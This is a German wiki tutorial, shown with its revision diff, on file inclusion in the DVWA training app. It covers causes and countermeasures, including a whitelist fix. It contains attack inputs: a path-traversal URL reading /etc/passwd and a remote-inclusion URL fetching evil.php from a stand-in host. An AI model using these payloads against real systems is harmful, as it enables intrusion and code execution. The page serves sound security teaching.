DVWA File Inclusion: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „* =Remote File Inclusion= *Download und Ausführen einer Datei von extern. =Local File Inclusion= *Ausführen einer Datei, die lokal auf dem Server vorliegt.“)
 
 
(16 dazwischenliegende Versionen von einem anderen Benutzer werden nicht angezeigt)
Zeile 1: Zeile 1:
*
+
=Problem=
 +
*Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet.
 +
 
 +
=Local File Inclusion=
 +
*Ausführen einer Datei, die lokal auf dem Server vorliegt.
 +
*z.Bsp. Anpassen der URL:  ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd)
 +
 
 +
[[Datei:DVWA-fileinclusion-1.png|1000px]]
  
 
=Remote File Inclusion=
 
=Remote File Inclusion=
 
*Download und Ausführen einer Datei von extern.
 
*Download und Ausführen einer Datei von extern.
 +
*z.Bsp. Anpassen der URL:  ...?page=http://www.evilsite.com/evil.php
  
=Local File Inclusion=
+
=Ursache=
*Ausführen einer Datei, die lokal auf dem Server vorliegt.
+
*Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung.
 +
*z. Bsp. PHP:
 +
<?php
 +
$file = $_GET[ 'page' ];
 +
....
 +
*Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen.
 +
*Beispiel für eine sichere Kontrolle:
 +
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
 +
    echo "ERROR: File not found!";
 +
    exit;
 +
}
 +
 
 +
=Gegenmassnahmen=
 +
*Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen.

Aktuelle Version vom 8. Juli 2021, 08:58 Uhr

Problem

  • Tritt auf, wenn der Client die Möglichkeit hat, Dateien mitzugeben, die der Server einbindet.

Local File Inclusion

  • Ausführen einer Datei, die lokal auf dem Server vorliegt.
  • z.Bsp. Anpassen der URL: ...?page=../../../../../../etc/passwd (oder auch ...?page=/etc/passwd)

DVWA-fileinclusion-1.png

Remote File Inclusion

Ursache

  • Verwendung von Variablen die von Außen verändert werden können ohne Kontrolle oder Einschränkung.
  • z. Bsp. PHP:
<?php
$file = $_GET[ 'page' ]; 
....
  • Wird die Variable $file im weiteren Verlauf ohne weitere Kontrolle verwendet, kann es zu dieser Schwachstelle kommen.
  • Beispiel für eine sichere Kontrolle:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
   echo "ERROR: File not found!";
   exit;
}

Gegenmassnahmen

  • Kontrolle aller Daten, die von Aussen kommen. Niemals direkte Verwendung dieser Daten / Variablen.